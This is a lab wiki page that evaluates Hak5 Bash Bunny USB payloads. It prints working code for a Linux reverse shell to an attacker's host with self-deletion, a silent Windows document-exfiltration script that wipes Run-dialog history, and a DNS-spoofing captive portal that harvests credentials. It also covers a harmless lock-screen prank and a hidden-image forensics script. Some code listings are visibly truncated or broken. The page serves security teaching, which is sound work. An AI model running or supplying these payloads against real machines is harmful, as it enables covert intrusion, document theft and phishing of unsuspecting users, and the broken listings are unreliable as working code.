Bash Bunny Exploits

From Embedded Lab Vienna for IoT & Security
Revision as of 11:54, 9 November 2021 by VHorvathova (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search


The Hak5 Bash Bunny will be used for various exploits which will be explained, documented and evaluated in the following chapters.


  • Operating system: Ubuntu 20.04.1, Kali Linux 2021.1, Windows 10
  • Hardware: Hak5 Bash Bunny

In order to get a general idea about the Bash Bunny, please refer to Hak5 Bash Bunny or the official Hak5 Documentation and Git repository.


Reverse shell on Linux

Reverse shell attack: A reverse shell is a type of shell initiated on the victim machine, whilst the hacker creates a listener port to pick up the shell once the victim connects back to their machine. Refer to the figure below for better understanding.
Reverse shell mechanism

For this exploit, the Linux Reverse Shell payload is used, which is in the remote access category on Bash Bunny's Git Repository. It has been altered minimally to fit the OS requirements.


The payload is to be copied from the library and pasted to either switch1 or switch2 on the Bash Bunny, while it is plugged in in Arming mode. The RHOST and RPORT variables in the payload are to be preconfigured depending on the IP address and listening port of the attacker.

The payload itself is a textfile payload.txt and comes with a script as well. It is well documented, which in the case of the Bash Bunny is quite a rarity and helps with the understanding of the program. The contents are the following:


# Title:         Linux Reverse Shell
# Author:        tuzzmaniandevil
# Version:       1.2
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
# Magenta..................Setup
# Yellow single blink......Executing
# Green....................Finished

# Config options
RHOST=<attacker's IP address>
RPORT=4444 #listening port

# Start Setup

# Gets Switch Position

# Set Attack Mode

# Get the switch position

# Open a terminal - specific for Ubuntu
QUACK STRING x-terminal-emulator

# Wait for terminal to open
sleep 1

# Copy bash script
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/"
Q STRING "/ ~/ && chmod +x ~/ && ~/ $RHOST $RPORT"

# Quit the terminal


/bin/bash -c /bin/bash -i > /dev/tcp/$H/$P 0<&1 2>&1 &
disown $!
rm -f "$A"

The setup is the following:

  • as an attacker, a Kali Linux VM is used
  • as the victim, since this is a Linux Reverse Shell, Ubuntu 20.04 is used to represent a regular PC client at a company or private computer (if another victim machine is used, the code which determines the terminal window to open must be accustomed to the proper shortcuts of that OS)

As already explained above in the principle of the reverse shell attack, on the attacker a listener is set up with netcat with the following command:

nc -lvp 4444
Flag Meaning
l listen for inbound connections
v verbose
p local port number

Now that the attacker is awaiting a connection on port 4444, the Bash Bunny is ready to be plugged into the victim (the switch must be set to the correct position, which is the one where the payload has been configured). After that, a terminal window is opened, the commands from the payload are entered in, the script is called, and then the terminal window closes again. This whole process doesn't take longer than about 5-10 seconds, and after that, on the attacker's Kali machine it is already visible that the connection is successful, which can be proven by a quick whoami.

Explanation of the code
The ATTACKMODE, which determines what devices to emulate, specifies both HID and STORAGE - HID (human interface device) enables keystroke injection via Ducky script with the QUACK or Q command; STORAGE emulates a regular flash drive, making it appear as if a normal USB is plugged in. This can be useful when tracking the attack, as it will appear that a regular flash drive has been inserted. In the case, when the attacker would be in a hurry to leave the Bash Bunny in the victim's machine, it would also not be very obvious at first, seen as after the attack no terminal windows remain open and the Bash Bunny appears as a regular USB.
The Ubuntu specific shortcuts open a new terminal window and then the command is injected to call the script. Here, a bash shell is created and sent to the attacker on the listening port, which is referred to as a reverse shell. After that, the process is removed from the job list and looking up the will not display anything. The terminal window gets closed and no traces are visible of the attack. The attacker on their Kali machine has now gained access to the victim's shell and can view, copy or alter files and execute arbitrary commands on the victim.

Conclusion: A very efficient and powerful payload that allows access to target machines via creating an access door that doesn't disappear after locking yourself out, only after a log-off or shut-down. In the case that the victim is not aware of an attack going on, it leaves a lot of time to look around the target system or even cause some damage. It is useful for situations where the attacker has physical access to the target machine but not a lot of time to actually sit down and execute some commands. That is why the Bash Bunny is so fitting, because the execution only takes up to ten seconds and leaves the access door open for longer usage.

USB data exfiltration

Data Exfiltration: Data exfiltration is a theft/leakage or unauthorized extraction/movement of data from a target device.

This payload will by default extract any .docx and .pdf files from the Documents, Downloads and Desktop directories of a Windows machine. All of this can be customized in the payload and the kind of files/directories can be changed, but this is the default behavior.

For this exploit, the Simple USB File Extractor payload is used, which is in the exfiltration category on Bash Bunny's Git Repository.


There are four files in this payload, the default payload.txt and script files x.cmd, z.cmd and i.vbs. All four files are to be copied from the library and pasted to either switch1 or switch2 on the Bash Bunny, while it is plugged in in Arming mode. The contents are the following:


# Executes z.cmd from the switch position's folder, thus launching x.cmd silently using i.vbs
RUN WIN powershell ".((gwmi win32_volume -f 'label=BashBunny').Name+'payloads\\$SWITCH_POSITION\z.cmd')"


@echo off
cscript %~dp0\i.vbs %~dp0\x.cmd


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


@echo off
@echo Installing Windows Update

REM Delete registry keys storing Run dialog history
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f

REM Set the location
set dst=%~dp0\..\..\loot\USB_Exfiltration\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%
mkdir %dst% >>nul

if Exist %USERPROFILE%\Documents (
xcopy /C /Q /G /Y %USERPROFILE%\Documents\*.pdf %dst% >>nul
xcopy /C /Q /G /Y %USERPROFILE%\Documents\*.docx %dst% >>nul

if Exist %USERPROFILE%\Desktop (
xcopy /C /Q /G /Y %USERPROFILE%\Desktop\*.pdf %dst% >>nul
xcopy /C /Q /G /Y %USERPROFILE%\Desktop\*.docx %dst% >>nul

if Exist %USERPROFILE%\Downloads (
xcopy /C /Q /G /Y %USERPROFILE%\Downloads\*.pdf %dst% >>nul
xcopy /C /Q /G /Y %USERPROFILE%\Downloads\*.docx %dst% >>nul


The adjustments that can be made can be seen in the code and must follow this pattern:

xcopy /C /Q /G /Y %USERPROFILE%\<DIRECTORY_NAME>\*.pdf %dst% >>nul
xcopy /C /Q /G /Y %USERPROFILE%\<DIRECTORY_NAME>\*.docx %dst% >>nul
xcopy /C /Q /G /Y %USERPROFILE%\<DIRECTORY_NAME>\*.txt %dst% >>nul

The meaning of the letters is explained here:

/C Continues copying even if errors occur.
/Q Does not display file names while copying.
/G Allows the copying of encrypted files to destination that does not support encryption.
/Y Suppresses prompting to confirm you want to overwrite an existing destination file.
/E Copies directories and subdirectories, including empty ones.

The setup is the following:

  • a Windows machine is to be used (this payload specifically has been tested on Windows 10 but other versions may also work, perhaps with slight tweaks in the code)

Explanation of the code
In the payload.txt, which is always the default file read and executed first on the Bash Bunny, the HID and STORAGE ATTACKMODES determine the Bash Bunny to be emulated as a keyboard and a regular flash drive. This will enable keystroke injection and will simultaneously simply look like a storage device on the machine. The payload.txt then calls the z.cmd, from where the i.vbs and x.cmd get executed.
In the i.vbs, the command simply determines to run the commands in an invisible window. In x.cmd is where the real magic happens - the registry keys storing the run dialog history are deleted to remove traces. The destination directory gets created in the loot directory of the Bash Bunny, where all the exfiltrated data will be stored. After that, the script checks whether the Documents, Desktop and Downloads directories exist and then copies the files with .pdf or .docx extension. Once the payload is finished with execution, which only lasts about 5 seconds, the files can be found on the Bash Bunny in the newly-created directory. For demonstration purposes, this exploit has been done on a Windows 10 virtual machine with 5 pdf files and 3 docx files, which have been placed in the three different targeted directories, as can be seen in the screenshot below.

Results of the data exfiltration
Conclusion: A useful tool for gathering data of a certain type of from a certain target directory in a short amount of time. The code is also easily adjustable and one doesn't need to be a cybersecurity expert to understand or alter it. One flaw: the payload doesn't always get executed, and even if does, it doesn't always work as it should and often doesn't extract the files as it should. It remains unclear whether this is a bug in the code, but when testing this on a Windows VM, sometimes even after a reboot the exploit was unsuccessful without any changes to the code or setup, during which it previously had worked. This is something to keep in mind when picking a reliable solution, since this may be a problem in this case.

Captive Portal for the Bash Bunny

Phishing attack: A phishing attack is usually an attack that aims to steal usernames, passwords and other important credentials, by pretending to be something it is not.

This payload performs a phishing attack on the victim as it shows an HTML site with a login form and then saves the entered credentials in a capture.log file on the Bash Bunny. The way how the victim even gets to this login form is that the Bash Bunny redirects and spoofs all DNS requests to itself and serves its own HTML site (this payload comes preconfigured with a simple site but is usually meant to be changed based on whatever website is being impersonated and what kind of credentials are trying to get stolen). In other words, once the payload is running, no matter what the victim enters in the browser, it will always lead to a login site. In a company setting, where such behavior wouldn't even be weird at all, as you often have to log in anyway, this could potentially be very dangerous.
Depending on the type of credentials that are taken in the HTML form, there are input values in the payload.txt configured accordingly. If the HTML site asks for a username and password, then the names of those fields should correspond with the code in payload.txt.

For this exploit, the Captive Portal for the Bash Bunny payload is used, which is in the phishing category on Bash Bunny's Git Repository.


There are two writeable files in this payload, the default payload.txt and the HTML file called portal.html. Additionally, there is an executable file captiveportal which is encoded and a capture.log gets created once this payload has been executed at least once. All files are to be copied from the library and pasted to either switch1 or switch2 on the Bash Bunny, while it is plugged in in Arming mode. The contents are the following:


# Add or remove inputs here
INPUTS=(username password)

# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)

#                  DO NOT EDIT BELOW THIS LINE                   #


# Sets up iptable forwarding and filters
function setupNetworking() {
    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT
    iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP
    iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT  --to-destination
    iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT  --to-destination
    iptables -t nat -A POSTROUTING -j MASQUERADE

# Find payload directory and execute payload
function startCaptiveportal() {
    chmod +x captiveportal
    ./captiveportal ${INPUTS[@]}

startCaptiveportal &


   <title>Captive Portal</title>
   <style type="text/css">
       body {
           text-align: center;
   <form method="post">
       Username: <input type="text" name="username">
Password: <input type="password" name="password">
<input type="submit" value="Log in"> </form> </body> </html>

An entry from a gathered username/password from capture.log:


The page that the victim then gets redirected to by default looks like this:

Captive Portal

The functionality is there, and whatever the page gets changed into, as long as the form fields correspond to the input names in the payload.txt, it will work. A good idea would be to recreate a company's home page or a facebook page.

The setup is the following:

  • a Windows 10 machine necessary where the Bash Bunny is plugged in

Explanation of the code
The inputs are defined in the beginning, it could be anything from usernames and passwords to emails and bank credentials. Internet connection is also enabled.
Then there are two important functions. Function setupNetworking() enables IP forwarding, and determines iptables rules. DNS port 53 for incoming requests is enabled, HTTPS traffic on 443 is disabled. Then, prerouting (port forwarding) is configured, to forward incoming traffic from port 80 to the Bash Bunny's ( port number 8080 and to forward traffic from DNS to Bash Bunny's own port 53. In the last line, the postrouting rule enables masquerade, allowing to route traffic from one network to another for the outgoing packets. Masquerading is a mapping to the IP address of the interface the packet is going out.
Function startCaptiveportal() executes the captiveportal executable file, whose contents are encoded and are not readable to the human eye.

Conclusion: A quite simple payload that can be completely accustomed to the user's needs and thus offers a scalable option. The HTML file can be written and formatted in whatever way wanted, there just cannot be any external CSS or JS files. In terms of being persuasive, it all depends on the design of the webpage. During the exploit, when an URL is entered in the browser, the victim gets redirected. This, to an inexperienced user, may not come off as suspicious. However, an experienced computer user will know, that something is off, as there is another tab opened. The link is then also different. The gathering of credentials itself is clever and efficient, however, the success rate of this exploit will depend strongly on the look of the HTML site and whether it looks legit or not.


Prank Lock your PC

This payload is a simple prank meant to do no harm, but to warn the user not to leave their computer unlocked when they leave their desk. It is written for Windows, however, there is also a version of it that detects the OS and should work on every OS, however, the execution of that payload is about 90-120 seconds whilst this one only takes about 15 seconds. What it does, is that it runs Notepad and writes a message in a loop to not leave the PC unlocked. Once the preconfigured amount of messages in the loop has been written, the PC locks itself.

For this exploit, the Notepad fun payload is used, mixed with the payload Lock PC. Both of these payloads are in the prank category on Bash Bunny's Git Repository.


There is only a single file here, the default payload.txt. The contents are the following:


LED B G 100
msg_body="I will learn to lock my computer"
msg_end="Please remember to lock your computer when you walk away."

Q STRING notepad.exe
LED B 500

Q STRING $msg_header

for (( i=1; i<=$msg_body_repeats; i++ ))
   Q STRING $msg_body
Q STRING $msg_end

As a result, the PC gets locked. Once the user unlocks their PC, they will come to find an open notepad file, with the following text:

I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
I will learn to lock my computer
Please remember to lock your computer when you walk away.

The setup is the following:

  • a Windows machine is to be used (this payload specifically has been tested on Windows 10 but other versions may also work, perhaps with slight tweaks in the code)-> to use this on other operating systems will require the Lock PC payload

Explanation of the code
In the payload.txt, which is always the default file read and executed first on the Bash Bunny, the messages are defined first. After running the notepad.exe and thus opening Notepad, the messages are inserted. After the messages have been inserted the predefined amount of times in the loop, the command GUI l is called, which means the combination of Windows+l keys, locking the machine. At this point, the payload execution is finished.

Conclusion: This is a very quick and efficient payload which does no harm but aims to give a lesson to the user. The attacker's message, that this payload leaves behind, implies how much harm the attacker could have done because of the unlocked PC and makes themselves look like the bigger person for not causing any harm and giving "just" a warning instead.

Hidden Images

This payload is a forensics payload to find image files, which have manually been renamed to appear as a different file type (for example renaming a bankaccount.jpg file to homework.docx file to mask its contents). The file type can easily be changed from images to movies or anything desired. The way it works, is that it searches the whole user profile and checks for known image file headers, all while ignoring all the files that already have an image file extension. The found files are then listed in a CSV file located in the loot directory with information of their location and real file extension (however, the actual files are not collected by the Bash Bunny, they are only located).

For this exploit, the Hidden Images payload is used. This payload is in the incident response category on Bash Bunny's Git Repository.


There are two writeable files in this payload, the default payload.txt and a Windows Powershell file file called run.ps1. The contents are the following:



RUN WIN powershell -executionpolicy Bypass ".((gwmi win32_volume -f 'label=BashBunny').Name+'payloads\\${SWITCH_POSITION}\run.ps1')"


#Get the path and file name that you are using for output
# find connected bashbunny drive:
$VolumeName = "bashbunny"
$computerSystem = Get-CimInstance CIM_ComputerSystem
$backupDrive = $null
get-wmiobject win32_logicaldisk | % {
    if ($_.VolumeName -eq $VolumeName) {
        $backupDrive = $_.DeviceID

#See if a loot folder exist in usb. If not create one
$TARGETDIR = $backupDrive + "\loot"
if(!(Test-Path -Path $TARGETDIR )){
    New-Item -ItemType directory -Path $TARGETDIR

#See if a info folder exist in loot folder. If not create one
$TARGETDIR = $backupDrive + "\loot\Hidden-Image-Files"
if(!(Test-Path -Path $TARGETDIR )){
    New-Item -ItemType directory -Path $TARGETDIR

#Create a path that will be used to make the file
$datetime = get-date -f yyyy-MM-dd_HH-mm
$backupPath = $backupDrive + "\loot\Hidden-Image-Files\"

#Create output from info script
$TARGETDIR = $MyInvocation.MyCommand.Path
$TARGETDIR = $TARGETDIR -replace ".......$"

$jpgheader = "255 216 255"
$bmpheader = "66 77"
$gifheader = "71 73 70"
$tifheader = "73 73 42"
$pngheader = "137 80 78 71 13 10 26 10"

$knownimageextensions = ("jpg", "jpeg", "bmp", "gif", "tif", "tiff", "png")

#walk the files in the user profile
$files = Get-ChildItem $env:USERPROFILE -Recurse -ErrorAction silentlycontinue | select-object -Expand Fullname

foreach ($file in $files)
#get extension without . (dot)
$extension = [System.IO.Path]::GetExtension($file).Replace(".", "")
$extension = $extension.ToLower()

#Ignore known image extension
if (!$knownimageextensions.contains($extension) -and (Get-Item $file).length -gt 0.1kb) {

#reset $fileheader
$fileheader = "False"

#Grab header
$2bytes = [string](Get-Content $file -Encoding Byte -ReadCount 1 -TotalCount 2 -EA ignore)
$3bytes = [string](Get-Content $file -Encoding Byte -ReadCount 1 -TotalCount 3 -EA ignore)
$8bytes = [string](Get-Content $file -Encoding Byte -ReadCount 1 -TotalCount 8 -EA ignore)

If ($8bytes -eq $pngheader) {$fileheader = "png"}
Elseif ($3bytes -eq $jpgheader) {$fileheader = "jpg"}
Elseif ($3bytes -eq $gifheader) {$fileheader = "gif"}
Elseif ($3bytes -eq $tifheader) {$fileheader = "tif"}
Elseif ($2bytes -eq $bmpheader) {$fileheader = "bmp"}

if ($fileheader -ne "False") {
       File = $file
       Header = $fileheader
       } | Export-Csv $backupPath\$datetime.csv -notype -Append 

The result CVS file on an example with three hidden images will look like this:

CVS output

The setup is the following:

  • a Windows machine is to be used (this payload specifically has been tested on Windows 10 but other versions may also work, perhaps with slight tweaks in the code)

Explanation of the code
The payload.txt simply emulates a Human Interface Device to be able to act as a keyboard and then opens Windows Powershell to run the run.ps1 script. The actual functionality of this payload can be found here:
At first, the Bash Bunny's path is found and it is checked whether there is a \loot\Hidden-Image-Files directory or otherwise, it is created. A filename is generated with a current timestamp. The known image headers are then defined by their decimal header values (for example every PNG file when looked at in HEX will have the file extension "PNG" encoded). A way to examine this is via hexdump, and a hexdump of an example PNG file can be seen below.

Hexdump of a PNG file
Translation to decimal

These headers are hard-coded in the run.ps1 as decimal values so that the files can really be examined based on what they are, and not based on the file extension they have.

$pngheader = "137 80 78 71 13 10 26 10" 
$jpgheader = "255 216 255"
$bmpheader = "66 77"
$gifheader = "71 73 70"
$tifheader = "73 73 42"

Afterward, the known image file extensions are set, because these files are to be ignored. After all, the search is after images pretending to be something else, and not actual images. Now, all the files of the current user are looked at one by one in a foreach loop to filter out the real image extensions and only keep the files with different extensions. These files that are left then get their header searched (either the first 2/3/8 bytes depending on the file type). If a match is found (i.e. a file with an image header but without an image file extension), this file's path and real file extension is written to the CVS file created in the \loot\Hidden-Image-Files directory. The loop is finished one there are no more files left on the user's profile (it looks at Documents, Downloads, Pictures and everything else together with all subdirectories, considering the search is recursive).

Conclusion: Depending on the amount of files, the payload will take different time to execute. On a test VM with barely and documents or pictures, the execution is no longer than 3 seconds. On a fully functional and regular PC with many documents/files/subdirectories, that same payload can take up to several minutes. The longer the Bash Bunny stays in, the more files it can find. However, the original payload from the Bash Bunny's Git repository does not allow the attacker to really see, when the payload execution is done. It always shows the attack LED. After adding the line of code "LED FINISH", it now shows that the payload's execution is done right after the Powershell script is executed, but that does not equal a finished search after files. Thus, this is something to keep in mind, since it cannot be known when the Bash Bunny is finished (without rewriting the payload in a way that allows the LED to blink once all files have been searched). Overall a very efficient and useful tool, that also works reliably every single time it is executed.